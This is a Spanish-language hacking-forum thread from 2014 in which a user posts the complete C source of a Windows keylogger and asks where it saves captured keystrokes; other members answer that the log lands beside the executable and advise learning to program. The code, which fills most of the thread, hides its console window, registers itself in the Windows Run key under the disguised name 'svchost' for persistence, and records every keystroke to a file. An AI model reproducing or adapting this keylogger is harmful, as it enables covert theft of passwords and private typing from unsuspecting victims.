elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: AIO elhacker.NET 2021 Compilación herramientas análisis y desinfección malware


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse, K-YreX)
| | |-+  En que directorio guarda los datos recolectados este keylogger
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: En que directorio guarda los datos recolectados este keylogger  (Leído 2,503 veces)
Mister12


Desconectado Desconectado

Mensajes: 734



Ver Perfil
En que directorio guarda los datos recolectados este keylogger
« en: 31 Julio 2014, 20:31 pm »

Este es el codigo fuente del keylogger

Citar
#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>

#define BUFSIZE 80

int test_key(void);
int create_key(char *);
int get_keys(void);


int main(void)
{
   HWND stealth; /*creating stealth (window is not visible)*/
   AllocConsole();
   stealth=FindWindowA("ConsoleWindowClass",NULL);
   ShowWindow(stealth,0);
 
   int test,create;
   test=test_key();/*check if key is available for opening*/
       
   if (test==2)/*create key*/
   {
       char *path="c:\\%windir%\\svchost.exe";/*the path in which the file needs to be*/
       create=create_key(path);
         
   }
       
 
   int t=get_keys();
   
   return t;


int get_keys(void)
{
           short character;
             while(1)
             {
                    sleep(10);/*to prevent 100% cpu usage*/
                    for(character=8;character<=222;character++)
                    {
                        if(GetAsyncKeyState(character)==-32767)
                        { 
                           
                            FILE *file;
                            file=fopen("svchost.log","a+");
                            if(file==NULL)
                            {
                                    return 1;
                            }           
                            if(file!=NULL)
                            {       
                                    if((character>=39)&&(character<=64))
                                    {
                                          fputc(character,file);
                                          fclose(file);
                                          break;
                                    }       
                                    else if((character>64)&&(character<91))
                                    {
                                          character+=32;
                                          fputc(character,file);
                                          fclose(file);
                                          break;
                                    }
                                    else
                                    {
                                        switch(character)
                                        {
                                              case VK_SPACE:
                                              fputc(' ',file);
                                              fclose(file);
                                              break;   
                                              case VK_SHIFT:
                                              fputs("[SHIFT]",file);
                                              fclose(file);
                                              break;                                           
                                              case VK_RETURN:
                                              fputs("\n[ENTER]",file);
                                              fclose(file);
                                              break;
                                              case VK_BACK:
                                              fputs("[BACKSPACE]",file);
                                              fclose(file);
                                              break;
                                              case VK_TAB:
                                              fputs("[TAB]",file);
                                              fclose(file);
                                              break;
                                              case VK_CONTROL:
                                              fputs("[CTRL]",file);
                                              fclose(file);
                                              break;   
                                              case VK_DELETE:
                                              fputs("[DEL]",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_1:
                                              fputs("[;:]",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_2:
                                              fputs("[/?]",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_3:
                                              fputs("[`~]",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_4:
                                              fputs("[ [{ ]",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_5:
                                              fputs("[\\|]",file);
                                              fclose(file);
                                              break;                               
                                              case VK_OEM_6:
                                              fputs("[ ]} ]",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_7:
                                              fputs("['\"]",file);
                                              fclose(file);
                                              break;
                                              /*case VK_OEM_PLUS:
                                              fputc('+',file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_COMMA:
                                              fputc(',',file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_MINUS:
                                              fputc('-',file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_PERIOD:
                                              fputc('.',file);
                                              fclose(file);
                                              break;*/
                                              case VK_NUMPAD0:
                                              fputc('0',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD1:
                                              fputc('1',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD2:
                                              fputc('2',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD3:
                                              fputc('3',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD4:
                                              fputc('4',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD5:
                                              fputc('5',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD6:
                                              fputc('6',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD7:
                                              fputc('7',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD8:
                                              fputc('8',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD9:
                                              fputc('9',file);
                                              fclose(file);
                                              break;
                                              case VK_CAPITAL:
                                              fputs("[CAPS LOCK]",file);
                                              fclose(file);
                                              break;
                                              default:
                                              fclose(file);
                                              break;
                                       }       
                                  }   
                             }       
                   }   
               }                 
                   
           }
           return EXIT_SUCCESS;                           
}                                               

int test_key(void)
{
   int check;
   HKEY hKey;
   char path[BUFSIZE];
   DWORD buf_length=BUFSIZE;
   int reg_key;
   
   reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
   if(reg_key!=0)
   {   
       check=1;
       return check;
   }       
         
   reg_key=RegQueryValueEx(hKey,"svchost",NULL,NULL,(LPBYTE)path,&buf_length);
   
   if((reg_key!=0)||(buf_length>BUFSIZE))
       check=2;
   if(reg_key==0)
       check=0;
       
   RegCloseKey(hKey);
   return check; 
}
 
int create_key(char *path)

       int reg_key,check;
       
       HKEY hkey;
       
       reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
       if(reg_key==0)
       {
               RegSetValueEx((HKEY)hkey,"svchost",0,REG_SZ,(BYTE *)path,strlen(path));
               check=0;
               return check;
       }
       if(reg_key!=0)
               check=1;
               
       return check;
}



En línea

From some where at the other side of the universe
daryo


Desconectado Desconectado

Mensajes: 1.070



Ver Perfil WWW
Re: En que directorio guarda los datos recolectados este keylogger
« Respuesta #1 en: 31 Julio 2014, 20:50 pm »

no me lo tomes a mal pero te facilitaria mucho mas cosas el que aprendas a programar asi podras mejorar el codigo o crear el tuyo propio

saludos :)


En línea

buenas
vangodp


Desconectado Desconectado

Mensajes: 455



Ver Perfil
Re: En que directorio guarda los datos recolectados este keylogger
« Respuesta #2 en: 31 Julio 2014, 20:59 pm »

creo que en la misma carpeta del ejecutable o eso creo  :laugh:
lo digo por que eso:

FILE *file;
file=fopen("svchost.log","a+");

crea el archivo justo donde se pone svchost.log. Si no se especifica una ruta tipo c:\blablabla es que se crea en el mismo directorio donde ponga el exe

Si fuera así:
file=fopen("c:/blablabla.../svchost.log","a+");
...estaría en la ruta especificada c:/blablabla.../svchost.log

piratilla  :laugh:
« Última modificación: 31 Julio 2014, 21:01 pm por vangodp » En línea

Mister12


Desconectado Desconectado

Mensajes: 734



Ver Perfil
Re: En que directorio guarda los datos recolectados este keylogger
« Respuesta #3 en: 31 Julio 2014, 21:04 pm »

no me lo tomes a mal pero te facilitaria mucho mas cosas el que aprendas a programar asi podras mejorar el codigo o crear el tuyo propio

saludos :)

Se supone que el foro esta para enseñar lo que se sabe y aprender lo que no, y debo empezar por algo.

creo que en la misma carpeta del ejecutable o eso creo  :laugh:
lo digo por que eso:

FILE *file;
file=fopen("svchost.log","a+");

crea el archivo justo donde se pone svchost.log. Si no se especifica una ruta tipo c:\blablabla es que se crea en el mismo directorio donde ponga el exe

Si fuera así:
file=fopen("c:/blablabla.../svchost.log","a+");
...estaría en la ruta especificada c:/blablabla.../svchost.log

piratilla  :laugh:

Gracias por sus respuestas.Saludos 
« Última modificación: 31 Julio 2014, 21:06 pm por Mister12 » En línea

From some where at the other side of the universe
daryo


Desconectado Desconectado

Mensajes: 1.070



Ver Perfil WWW
Re: En que directorio guarda los datos recolectados este keylogger
« Respuesta #4 en: 31 Julio 2014, 21:05 pm »

Citar
piratilla  :laugh:
no hombre xD luego vendra aca cada vez que quiera saber que hace un codigo en ves de intentar entenderlo .

mister12 si te gusta la informatica programar te abrira las puertas muchisimo a entender muchas cosas y mas aun si te gusta el hacking , copiar codigos de fuente sin entender que hacen puede no darte los mejores resultados

edito: por ejemplo ese keylogger podria no funcionarte muy bien dependiendo de donde lo pongas

Se supone que el foro esta para enseñar lo que se sabe y aprender lo que no, y debo empezar por algo.
de verdad quieres aprender o simplemente copiar y pegar lo que encuentras por ahi?. porque si es asi vas por mal camino.

bueno tomatelo como un consejo solamente
« Última modificación: 31 Julio 2014, 21:08 pm por daryo » En línea

buenas
Mister12


Desconectado Desconectado

Mensajes: 734



Ver Perfil
Re: En que directorio guarda los datos recolectados este keylogger
« Respuesta #5 en: 31 Julio 2014, 21:15 pm »

Bueno agradezco tu punto de vista, pero por algo se debe empezar bueno la idea es ir modificando el código probarlo y listo, peor es nada, y no tengo que preguntar cada vez que quiera entender que hace un código no te parece que es mucho mas fácil recopilar el código y probar en un entorno seguro para saber que hace un código

En línea

From some where at the other side of the universe
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
se guarda en algún directorio el log? utilizo java.util.logging.Logger
Java
kinos 1 6,074 Último mensaje 5 Octubre 2009, 21:12 pm
por kinos
Francia: Los datos recolectados por Google también incluían contraseñas y correo
Noticias
Novlucker 3 1,764 Último mensaje 21 Junio 2010, 20:27 pm
por Debci
no guarda mis datos en el archivo.txt borland c++
Programación C/C++
—»Boy«— 0 2,856 Último mensaje 6 Marzo 2012, 06:34 am
por —»Boy«—
ayuda no me guarda los datos « 1 2 »
PHP
General Dmitry Vergadoski 19 5,521 Último mensaje 30 Julio 2014, 19:01 pm
por General Dmitry Vergadoski
¿Qué datos guarda Google de ti?
Noticias
wolfbcn 0 1,018 Último mensaje 18 Noviembre 2015, 14:04 pm
por wolfbcn
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines